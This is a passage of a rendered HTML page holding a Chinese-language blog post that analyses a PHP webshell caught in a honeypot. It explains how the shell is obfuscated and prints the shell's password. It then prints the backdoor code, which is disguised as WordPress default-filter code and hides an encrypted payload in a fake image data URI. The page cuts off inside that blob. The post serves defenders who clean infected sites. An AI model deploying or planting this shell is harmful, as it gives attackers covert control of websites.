-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMalware-analysis-php.html
More file actions
372 lines (261 loc) · 342 KB
/
Malware-analysis-php.html
File metadata and controls
372 lines (261 loc) · 342 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width">
<meta name="theme-color" content="#222"><meta name="generator" content="Hexo 7.3.0">
<link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
<link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
<link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
<link rel="mask-icon" href="/images/logo.svg" color="#222">
<link rel="stylesheet" href="/css/main.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css" integrity="sha256-dABdfBfUoC8vJUBOwGVdm8L9qlMWaHTIfXt+7GnZCIo=" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/3.1.1/animate.min.css" integrity="sha256-PR7ttpcvz8qrF57fur/yAx1qXMFJeJFiA6pSzWi0OIE=" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancyapps-ui/5.0.36/fancybox/fancybox.css" integrity="sha256-zM8WXtG4eUn7dKKNMTuoWZub++VnSfaOpA/8PJfvTBo=" crossorigin="anonymous">
<script class="next-config" data-name="main" type="application/json">{"hostname":"owefsad.github.io","root":"/","images":"/images","scheme":"Mist","darkmode":false,"version":"8.23.1","exturl":false,"sidebar":{"position":"right","width_expanded":320,"width_dual_column":240,"display":"post","padding":18,"offset":12},"hljswrap":true,"codeblock":{"theme":{"light":"default","dark":"stackoverflow-dark"},"prism":{"light":"prism","dark":"prism-dark"},"copy_button":{"enable":false,"style":null},"fold":{"enable":false,"height":500},"language":false},"bookmark":{"enable":false,"color":"#222","save":"auto"},"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"stickytabs":false,"motion":{"enable":true,"async":false,"duration":200,"transition":{"menu_item":"fadeInDown","post_block":"fadeIn","post_header":"fadeInDown","post_body":"fadeInDown","coll_header":"fadeInLeft","sidebar":"fadeInUp"}},"i18n":{"placeholder":"Searching...","empty":"We didn't find any results for the search: ${query}","hits_time":"${hits} results found in ${time} ms","hits":"${hits} results found"}}</script><script src="/js/config.js" defer></script>
<meta name="description" content="简介最近蜜罐捕获一个php马, 本打算爆破, 无奈之下改为搜索, 然后找到马儿的主人.">
<meta property="og:type" content="article">
<meta property="og:title" content="Malware_analysis_php">
<meta property="og:url" content="https://owefsad.github.io/Malware-analysis-php.html">
<meta property="og:site_name" content="owefsad">
<meta property="og:description" content="简介最近蜜罐捕获一个php马, 本打算爆破, 无奈之下改为搜索, 然后找到马儿的主人.">
<meta property="og:locale" content="en_US">
<meta property="article:published_time" content="2019-04-15T12:14:19.000Z">
<meta property="article:modified_time" content="2025-06-21T08:45:38.124Z">
<meta property="article:author" content="owefsad">
<meta property="article:tag" content="malware_ayalysis">
<meta property="article:tag" content="php_shell">
<meta name="twitter:card" content="summary">
<link rel="canonical" href="https://owefsad.github.io/Malware-analysis-php.html">
<script class="next-config" data-name="page" type="application/json">{"sidebar":"","isHome":false,"isPost":true,"lang":"en","comments":true,"permalink":"https://owefsad.github.io/Malware-analysis-php.html","path":"Malware-analysis-php.html","title":"Malware_analysis_php"}</script>
<script class="next-config" data-name="calendar" type="application/json">""</script>
<title>Malware_analysis_php | owefsad</title>
<script src="/js/third-party/analytics/baidu-analytics.js" defer></script>
<script async src="https://hm.baidu.com/hm.js?2a72b138b6ef81ae123fcd18e91fa843"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/animejs/3.2.1/anime.min.js" integrity="sha256-XL2inqUJaslATFnHdJOi9GfQ60on8Wx1C2H8DYiN1xY=" crossorigin="anonymous" defer></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/fancyapps-ui/5.0.36/fancybox/fancybox.umd.js" integrity="sha256-hiUEBwFEpLF6DlB8sGXlKo4kPZ46Ui4qGpd0vrVkOm4=" crossorigin="anonymous" defer></script>
<script src="/js/utils.js" defer></script><script src="/js/motion.js" defer></script><script src="/js/sidebar.js" defer></script><script src="/js/next-boot.js" defer></script>
<script src="/js/third-party/fancybox.js" defer></script>
<noscript>
<link rel="stylesheet" href="/css/noscript.css">
</noscript>
</head>
<body itemscope itemtype="http://schema.org/WebPage" class="use-motion">
<div class="headband"></div>
<main class="main">
<div class="column">
<header class="header" itemscope itemtype="http://schema.org/WPHeader"><div class="site-brand-container">
<div class="site-nav-toggle">
<div class="toggle" aria-label="Toggle navigation bar" role="button">
<span class="toggle-line"></span>
<span class="toggle-line"></span>
<span class="toggle-line"></span>
</div>
</div>
<div class="site-meta">
<a href="/" class="brand" rel="start">
<i class="logo-line"></i>
<p class="site-title">owefsad</p>
<i class="logo-line"></i>
</a>
<p class="site-subtitle" itemprop="description">owefsad page</p>
</div>
<div class="site-nav-right">
<div class="toggle popup-trigger" aria-label="Search" role="button">
</div>
</div>
</div>
<nav class="site-nav">
<ul class="main-menu menu"><li class="menu-item menu-item-home"><a href="/" rel="section"><i class="fa fa-home fa-fw"></i>Home</a></li><li class="menu-item menu-item-archives"><a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>Archives</a></li><li class="menu-item menu-item-categories"><a href="/categories/" rel="section"><i class="fa fa-th fa-fw"></i>Categories</a></li><li class="menu-item menu-item-tags"><a href="/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>Tags</a></li><li class="menu-item menu-item-resume"><a href="/resume/" rel="section"><i class="fa fa-user fa-fw"></i>resume</a></li>
</ul>
</nav>
</header>
<aside class="sidebar">
<div class="sidebar-inner sidebar-nav-active sidebar-toc-active">
<ul class="sidebar-nav">
<li class="sidebar-nav-toc">
Table of Contents
</li>
<li class="sidebar-nav-overview">
Overview
</li>
</ul>
<div class="sidebar-panel-container">
<!--noindex-->
<div class="post-toc-wrap sidebar-panel">
<div class="post-toc animated"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E6%96%87%E7%AB%A0%E7%9B%AE%E5%BD%95"><span class="nav-number">1.</span> <span class="nav-text">文章目录</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E7%9B%AE%E7%9A%84"><span class="nav-number">2.</span> <span class="nav-text">目的</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#php%E9%A9%AC%E4%B8%BB%E5%8F%91%E7%8E%B0%E8%BF%87%E7%A8%8B"><span class="nav-number">3.</span> <span class="nav-text">php马主发现过程</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#php%E6%9C%A8%E9%A9%AC"><span class="nav-number">4.</span> <span class="nav-text">php木马</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#php%E5%A4%A7%E9%A9%AC"><span class="nav-number">5.</span> <span class="nav-text">php大马</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5"><span class="nav-number">6.</span> <span class="nav-text">参考链接</span></a></li></ol></div>
</div>
<!--/noindex-->
<div class="site-overview-wrap sidebar-panel">
<div class="site-author animated" itemprop="author" itemscope itemtype="http://schema.org/Person">
<p class="site-author-name" itemprop="name">owefsad</p>
<div class="site-description" itemprop="description">分享安全、AI漏洞分析、漏洞研究、技术分享、开源工具</div>
</div>
<div class="site-state-wrap animated">
<nav class="site-state">
<div class="site-state-item site-state-posts">
<a href="/archives/">
<span class="site-state-item-count">93</span>
<span class="site-state-item-name">posts</span>
</a>
</div>
<div class="site-state-item site-state-categories">
<a href="/categories/">
<span class="site-state-item-count">6</span>
<span class="site-state-item-name">categories</span></a>
</div>
<div class="site-state-item site-state-tags">
<a href="/tags/">
<span class="site-state-item-count">173</span>
<span class="site-state-item-name">tags</span></a>
</div>
</nav>
</div>
<div class="links-of-author animated">
<span class="links-of-author-item">
<a href="https://github.com/exexute" title="GitHub → https://github.com/exexute" rel="noopener me" target="_blank"><i class="fab fa-github fa-fw"></i>GitHub</a>
</span>
<span class="links-of-author-item">
<a href="mailto:1547147759@gmail.com" title="E-Mail → mailto:1547147759@gmail.com" rel="noopener me" target="_blank"><i class="fa fa-envelope fa-fw"></i>E-Mail</a>
</span>
</div>
</div>
</div>
</div>
</aside>
</div>
<div class="main-inner post posts-expand">
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="en">
<link itemprop="mainEntityOfPage" href="https://owefsad.github.io/Malware-analysis-php.html">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="owefsad">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="owefsad">
<meta itemprop="description" content="分享安全、AI漏洞分析、漏洞研究、技术分享、开源工具">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="Malware_analysis_php | owefsad">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">
Malware_analysis_php<a href="https://github.com/owefsad/blog/tree/main/source/_posts/Malware-analysis-php.md" class="post-edit-link" title="Edit this post" rel="noopener" target="_blank"><i class="fa fa-pen-nib"></i></a>
</h1>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2019-04-15 20:14:19" itemprop="dateCreated datePublished" datetime="2019-04-15T20:14:19+08:00">2019-04-15</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">In</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/" itemprop="url" rel="index"><span itemprop="name">安全研究</span></a>
</span>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody"><p>简介<br>最近蜜罐捕获一个php马, 本打算爆破, 无奈之下改为搜索, 然后找到马儿的主人.</p>
<span id="more"></span>
<h2 id="文章目录"><a href="#文章目录" class="headerlink" title="文章目录"></a>文章目录</h2><ul>
<li>目的</li>
<li>php马主发现过程</li>
<li>php木马</li>
<li>php大马</li>
<li>参考链接</li>
</ul>
<h2 id="目的"><a href="#目的" class="headerlink" title="目的"></a>目的</h2><p>本文无技术内容, 纯扯淡和记录该木马供其他被种马的网站管理员快速回去木马和获取木马来源.</p>
<h2 id="php马主发现过程"><a href="#php马主发现过程" class="headerlink" title="php马主发现过程"></a>php马主发现过程</h2><p>第一次接触到<code>gzinflate</code>+<code>base64</code>, 于是参看了诸位大佬的博客和分析文章然后有了下文<br>代码编码顺序: gzdeflate压缩 + 自定义编码 + base64_encode, 作为一个爱装X的coder, 看到这个算法之后第一感觉是爆破它, 然后用python写了一个爆破脚本, 然后发现并不能爆破出来, 哈哈, 太TM丢人了, 所以开始找google帮忙, 用<code>$ord = ord( $filter[$i] ) - ord( $wp_nonce[$i] );</code>作为关键字搜索, 发现大量的相同php后门, 可把我高兴坏了, 这说明要么是一个组织持续搞事情要么是开源的php马儿, 这个算法我没法爆破说明生成也是十分难的, 因此密码可能是固定的, 于是开始搜github, 然后找到<a target="_blank" rel="noopener" href="https://github.com/bediger4000/php-malware-analysis">php木马大佬的git</a>(各种马)。<br><strong>G0YgIaXqx</strong> php马儿密码</p>
<h2 id="php木马"><a href="#php木马" class="headerlink" title="php木马"></a>php木马</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Sets up the default filters and actions for most</span></span><br><span class="line"><span class="comment"> * of the WordPress hooks.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * If you need to remove a default hook, this file will</span></span><br><span class="line"><span class="comment"> * give you the priority for which to use to remove the</span></span><br><span class="line"><span class="comment"> * hook.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Not all of the default hooks are found in style.php</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@package</span> WordPress</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@id</span> 64f722503297a845d239</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Strip, trim, kses, special wp_nonces for string saves</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">pre_term_name</span>(<span class="params"> <span class="variable">$wp_kses_data</span>, <span class="variable">$wp_nonce</span> </span>) </span>{</span><br><span class="line"> <span class="variable">$kses_str</span> = <span class="title function_ invoke__">str_replace</span>( <span class="keyword">array</span> (<span class="string">'%'</span>, <span class="string">'*'</span>), <span class="keyword">array</span> (<span class="string">'/'</span>, <span class="string">'='</span>), <span class="variable">$wp_kses_data</span> );</span><br><span class="line"> <span class="variable">$filter</span> = <span class="title function_ invoke__">base64_decode</span>( <span class="variable">$kses_str</span> );</span><br><span class="line"> <span class="variable">$md5</span> = <span class="title function_ invoke__">strrev</span>( <span class="variable">$wp_nonce</span> );<span class="comment"># $wp_nonce反转</span></span><br><span class="line"> <span class="variable">$sub</span> = <span class="title function_ invoke__">substr</span>( <span class="title function_ invoke__">md5</span>( <span class="variable">$md5</span> ), <span class="number">0</span>, <span class="title function_ invoke__">strlen</span>( <span class="variable">$wp_nonce</span> ) );<span class="comment"># md5编码后去前strlen($wp_nonce)个字符</span></span><br><span class="line"> <span class="variable">$wp_nonce</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$wp_nonce</span> ). <span class="variable">$sub</span>;<span class="comment"># 形成新的$wp_nonce</span></span><br><span class="line"> <span class="variable">$preparefunc</span> = <span class="string">'gzinflate'</span>;</span><br><span class="line"> <span class="variable">$i</span> = <span class="number">0</span>; <span class="keyword">do</span> {</span><br><span class="line"> <span class="variable">$ord</span> = <span class="title function_ invoke__">ord</span>( <span class="variable">$filter</span>[<span class="variable">$i</span>] ) - <span class="title function_ invoke__">ord</span>( <span class="variable">$wp_nonce</span>[<span class="variable">$i</span>] );</span><br><span class="line"> <span class="variable">$filter</span>[<span class="variable">$i</span>] = <span class="title function_ invoke__">chr</span>( <span class="variable">$ord</span> % <span class="number">256</span> );</span><br><span class="line"> <span class="variable">$wp_nonce</span> .= <span class="variable">$filter</span>[<span class="variable">$i</span>]; <span class="variable">$i</span>++;</span><br><span class="line"> } <span class="keyword">while</span> (<span class="variable">$i</span> < <span class="title function_ invoke__">strlen</span>( <span class="variable">$filter</span> ));</span><br><span class="line"> <span class="keyword">return</span> @<span class="variable">$preparefunc</span>( <span class="variable">$filter</span> );</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="variable">$wp_nonce</span> = <span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">'_f_wp'</span>]) ? <span class="variable">$_POST</span>[<span class="string">'_f_wp'</span>] : (<span class="keyword">isset</span>(<span class="variable">$_COOKIE</span>[<span class="string">'_f_wp'</span>]) ? <span class="variable">$_COOKIE</span>[<span class="string">'_f_wp'</span>] : <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable">$wp_auth_check</span> = <span class="string">'<form method= "post" action= ""> <input type= "input" name= "_f_wp" value= ""/><input type= "submit" value= "&gt;"/></form>'</span>;</span><br><span class="line"><span class="variable">$wp_default_logo</span> = <span class="string">'<img src="data:image/png;base64,OK9xwT3xBEyWsthU5PjSeMpiE2cl4ktLyN8M8lVaUBO6VJp+En3eTA6Dak20cbdQT1O2TIhBY+PxDW5UNxwSWotnRyLcrjpHHJrZKyiCSF7QY8Ws%NXL2FxU68TG4nCO2VT6B2utxE0BBgqHd8A8wLgxBr1mIh%ipjKmnd6KQqP1ZV4pvUWrpHx+jSwHZ%Sceyn1v2zaDOEE%Frl7tNr9GyhdafZTl6ledHtJgNtcRedRaoHiwOyrSMI9NQA1LJ1DW4d3d99HNk9wdI+uv4%zrHCZlXijaOuUdsHhmd3TTA9ikQ2CE8IzuL3FPWGs1yWDZJqb%Ocoo3sKwqA9i1Ns++nOSxOHGF6i1GQ+Hv4IcIr70szAd+QQ3WFlXzWAE0ZYqmFBdoL1GfQfBnjrcocm4hfVIHpioF7JMsDTvkWq5jamiFYnpbLbDSAHwKGKDMWfY3KOyGEpM63PjbELh0Fypnzy4gHXNzQm1aSUAXfQBBYOvARTl1SsIBCCqtLq6eIx83b%AmnHZBXLirflubD83GoREkJ5aQNjBRRfOcOdmstdlEcHuGIfAP3qFl798LCtu21R9U5QamfhwRHJllykA2j5FYnNxKBS9LBi5Z2k9aBjPSYaWj9FBNWsL5GIksAMyFsL+T8F3NiwH2U86SifB4ATbfmEcS5zLJPk0yqGUVvOPL6duraX42wGgv%ae3nbBYqs9z88jMu2XrW%EDoiHuTuP1TAhdSJHIuDD2ve6hwDssrL6xyckyuYXBm1PtHtrhw1c5pcpqP2BbOxKdHlRNXEJvXEoyS1GertQGmoHIhLkm7uYzQrrhkI8Z+QeBnlKNK67hIUuSdQAYIch%zEHH3xnhvxW88N5wAcHwfwYCxxdh8yqH0dYr4VaBk0OE291nBOsIrUmylkaZrSS4BFNkJPYULIxjbVsWtc0yXB0p5eqVAhcK5OGcoKGP6MSXari19IS4zEmpQazFvqD8wos8teByMmvCpTHqCDjWty4PIiczmWkK4dps4rPbX3aSOjUJjc3q7%9ew6JVL%Xhjbw3%78Xa1XrcNVydLX0XpRF9aqbSeFO9%Uju13Et2arak9sydd2B+C+Go11EPCr46TbgdSb6VublIx4INj%5uBwWMlbyycv%mxqBs2Bn3xyMZr%TbzCaO8Hrji39ZLPU7PopGKJF4YzuCkuUy0sRPDWGedSY1JZaM2RKXs3FDrL5oEXGIcRZu6RmZ+3tW%cOqsQxuGVzFQkMzxt5%%bFKiu1kFv8blWEPBTzDiT1Y09kH+4kbkhbpkNPsnPenTy1obzz312NFAOK4Fi5YzNCtPMWjPH8prcDrKd75fsQ9bm+iQXRFXaSyy0QCpJGqfHh2Jx+QIwKOH3IIvQMRPAOvor1rYjtiZNbemmq4D7OTyzL9EFhtj2rBJ%SaiiuVBCPCa9T71QO2Veyrb+BrZGEonta+zjujmFfJgfVe75vlDQ7VKQhHTR1cxQHIpqfR+Cex+Vx%1ifOx8D32+S%icwrFosMzz8KYszHI4niKkr3KcVSQtuKO+nqLC4yfrjMY1Aqs5G5IkVP82hvaPTSbxBoRoe2u9bbgrPgLLoDS0rslJEM7mOwnX2XwLTPUXHJuDxdZ+RFcW+gA%1jpuO%2Oxa0aW6zSeFPc2OBRUzAdM4uBmUtLw+hekLPy4eqioNigE5m5ugKT+gyd1jj479pI8Y7J8F04CRQTEZpeuxBvYIRs2YySwJprks7rsiosFf0TQAZFjqTbh2dtfA1XMYDLIGMpkOry868YvAuEAt+pVVdnhlZT6mLtKlVYtzRUVGiWc2KcqrmQ0SWTOpa9CiZKUtKtW2gfOuUSBWI6vjak3tVDv9TfdABBkHAPcsN0ysHhBRVf8lGrrYjTyZVL63cOr5efRTCivCRWpMeXwkr15KgIHt8pXbUBJ6cpAX94+8bAgiaiQQOsnzZFNxR%uaMrjdGfK+iq4nTInfmnDg+cBO3VQSMQWtKwrfXoWC8Cu5dpmN8twybwLtQtpTHssHaaNOtmkaoSWubPu6%%dpJw1k7SHRI9w8Z4ggg7aSjDuCwJ1pbbXwZI7iBLnAZAVZoMymqqkmfEOQ3FcA3U6qd3WluxXo7Lhsad3oDk8XKdk+5O52hE1e%kA3no5QK%CzqK6JXbnDecrGp9O3bD5uXNqYk6y2FmkoWHipbPeQ1rfQ2K9lx+zbX3RjGA7wP2DNOTQkMuSg+nP9PVUKkzg9l+Z2HqmZ2tRmxiyzhLoKn704tO2IhCQ+1pHVbhTzAC3cJGLv2BJZOda8OdAJiylg+sF8sAJWkxya9lb1FWim4OjOAdDy%U9HarzyVfG3lDwJWTzYtBgOv4XnwXeXXyVzL7m3pGTbWnj3fFEBmyyACi7po9afaEUA1weFyRqqxONuXHU1xu4KUNjqaxXHLJnlLhPUgXnjPxdbPbyvXsn9%qfkAvC%Jx89zLgHdPzRfstdJNxW8NDSl4+x%Ve4xlDTZAp+XnT6zq6lN96ShYhcJ6aaPI%i6v0LwQI6s9lxxGYK726V8I8bG9dM6e2WUi9B%dT2gX6I%dymw1O9X5y5wqq7J3mVnDAEEpIBM6qtf50tFpiN%XArrKHqf63Pna6M0kKSz4SyYCeNB%6cIr8Lhz2hPnUTyF0T8H19mCH3u9x+obt929ML7lybby379uOp5hYQFA0bN1mpXR%z6bzDrgsRnUGugkbkgRvjlgLIRwnf6ngnQZUfavZPX21bkEoyi3%rJcbctV7JAKPD70kDofWynmORao8GG+pIC1FU24%bSROCRx5eH7J4hxgqT0jCHj3AfFLT2MqhkFyx17bAloi+e4gt%zGyQpZ1qG%7Jd+x5KvGGUOJ6+mA7pl6d70G1+3AXbuVifflqZq72kRqXMnTCHn++In+OC3JfKzF9TvF4vpfAaLtliCRlTdXCpf6zUR7OZ2AsPpebNpiQrDw6yVEuOvCZ69KYQ09YkEIAHI+V%bRJ8EFb39VTrM+Lg6ojcDzpXjqw3T+MSl07zLj1FQo6mK5tHdAe3P6wmoPE6hZW0qi8LVjz9vz2n+dz+EpOQdkOvtK4Jw1SiILtchg5b%lBSnng8fMbZFhJ5gpg+s8vbGV6rxXJQhsdHTU4Dll48fEv9egGDsaxCEyKzDIyVMz%PcRKvCHe+c6SloXZ4ogzra2+dgfq%qibuvjVQ3VoFC7d+dZlR6JK+NCn3jojSdsRTz87S1JeTcTam7cofrutjBJbP3FCrD2nHRUTRByeoAEK%q9wKh1MVdQ2MNkZK1MLQQiwUP+upVbXEAXnBSk%zMqOh95IpZEjet8vjihf6vuC5V4fHNTjmwrR0CZY+EZBzbf%RmtUKhrJcjrguwgXEwkTo9jNYJlyzkdiqHgHkC19LELDB9Bpr3l1ecpGpDKbT4si8ojsv2z1uAi+wvkhMh4Qh+TAAGS2FeDmK6pwHtO+vlOTiupiGWaQnHhR+KNBrnvg3CJVaHCX+X0D3rHELpDZ8rejsABOuNfEMWFYbNqwMTX71K9BSaN4NeaV8hlustzu2yWzzhsoa2qV2xi70WaBiR31PuXzmWV5zsnDkcTAUE%nTpYRSGnu2F8H35laZRx8WPZaRbhb6+V01p89%1PIjwVkkSWQB%mPaeBRwykqN8nGqoPpqrRXi9WG2DQ3r301HGjp1cB6u6Hbk+O7ySUubecU2vvDCaG0BRuMrwEbloROgCptuvEOGpOlHXy0%bRGPtAfa1weIsW1tD1yM4kKaQXdkHjXSck7h11pFOl6ruRJSoYPqXKt2BU8S%BVZcMqYEk7DA3tmgPbcrHnjX%HMt1An2o1nfOyTlLnZlmXaFO4Vp7YejGO2QFJirWfGL4+7Kzsd9rsj+bSbw2lKNyT4k7X4X33rTBrEnromGTZGWkEPtnXV+f3ApEadsL7f+1aShaRzTBnkmafWD5y5aHbsWKllDCbh46HR%iDN0S%+6z3Qg3+OxX%VYb8ovJzeBwLHMcXrjtrddthgTJV7AVXQ3oc77+j85%d++etvp6u3DmZodJctI4r0I0HXp6zuTz+Mbw%yLHVgv689sPWCvAbLDc9cxm+rYWlY+ZF7anx4s4lXqL3%YlcmluMOgMLiGhbrTDU%C1DvkcGahxphYZaOrVBQ%BjOGj4fCHblmCcf4lG2B8+Pq4Vr+NzvZ5MEK8L4L0H%09ecEM4anaG5RZitgYQMUYgJbXYD98TpdZMXFwzrp8wK%ocOmRDxnRNOqucN0WNwyiF07+Bb4OHRoyrd4ei+Mfh51frBJ2ZygDr+ZIuY21MKn+AMtx%5Ibyy9UKxkh+NH4WjgytGwFY1RbQVrlRmz3cLd%gEYo7yMrddYYLZDZj0VqvWH1ZLgxtNJoJkxMDQbBHlnOz5uGq01iQouDCT6pcarZJF6DqVziSYKnjVJuBGy8fuob6Tlbjxbc6+6duGiG9kbukBw%rsVmE9Z%tA5RqnnEXhIy4uqiRqGbem36BYo1%lHv2owVzSgZF9iRowyEYchNr+VkQws+t6LIf1QE2IPrkTatz7%YYs1D%oSn15KoBWFuq7+GrwhDGkdAawxbGu17lp3Vq1RGbSyFUSq2TP638Ktr2ZjaHZGa%Pu5wTNIFLdW4GsWKOs2XERYpRzcdm+UGNYrZOiuyt2%3B%v0%CUCAyBIgDa6dzaYgH7xy9lEw2HpeDpqjvsdj3W9RsnIFdNRU2Rty6m7B5ApzeV5afs4C%HkeEEbt1E%HgI0aDqoBhde5xGbZdy+eeK1kvABTuFbLTCIGJ4JmkCAqH30Qm6jQgepetxfmXayRF2L28HKO7RGdDLBUalCHR09mqpJPfAQaNGuruUVmz4fMW4JDvnrmFO3x+z8+ie7xee17y30+1i5Rn02RdrmPv9j4abiuoh7rpemWnVrMTv75BWUhpfsvN64HckcZMKCvUSsyPqjI1uL%AJGrv+lv8L80+pAyHLB5l7Vr0j62couJwd2ZPkRlyNlQ+056SugYzj1zJK%q%mcHdJOwa1gPYjNy9gnp6aA2bTHhk+WwS5FP6UlDeEghcFxV3jMBnhuC6GLwb8vCQ2L6o0eJK8stZWkXY2v0Z61do+DczOXlppWvj2A%an+lP6pS8C+ZVmzeFUNpFWQKIkz5%nzj1UnMlRwAt4PQHgY86YezyuNt7wJZMeL6%XUzjG91dkIjE0OwPOvdy4zuzyNHa73juWHPhUoibF1N+%vDhHYpBrMomgEvhnjJ0F6MoLz6IsfyLv3jHV4vD3IXgGq1BcTHi4kiPqEsJN6Y6VjcM9D+4c4ndBUwmGgqhoLHyFmeKU5bTfH7OB6l2+Lh+4yj9VRI4JHIEwBRhhdAjkHFJQtwf1ompdDZwa2FT24BtPPJanhdRyD0eKOe+DgBCbg4Hkqau+JJJZY8%RFFwZPJ0AXOKbd8CkqSByIlwwNYH9ho7zMZI3dSToJ3JG3+snA8dn57vxEBBjaoLUj2r6EDoMzfRCHFKiSK73T8utJrV7XFjSwWtvmfC24d8ttZYVexRGH9snf+dcx1ez2vg1zOpV%1X4xzn8l1VmyIdVsXlbmyuqkl6iIpKTMu7hnLS5I6tdCytzxBviLbGh5U91X71vMZ3MZ%LvSBnWLwze77x+VZVFVc3FbhuftJeGhhQhQC4dmboMuPPTgpfEt47o5gCKe5d4gNe+2AWXFN8ZEEoccdQnL1Ur1GgpA07Go+WgAJVv3u2fPzW1nhLkbqVK6h5zuCqDdAzty3cHUT9WNjnCXxvJiPUNdB8Z9lt61R3IWHWms5C0q+gUHlgNrGj%G8ys2z+Rb4pN7X8ij05BXpOF44yqxK%IhsFYoswtEAzvnYMDV%SJMVCnWsDwG+vb96VFij9TY2adDQ9RnvUccyAEvoFj1RX1qLBqaRdRM2bUZ%fuwh9ZWDimFzGdJ7yJq3cbYeyrEDjOegZnL7FMavCPWDFu9X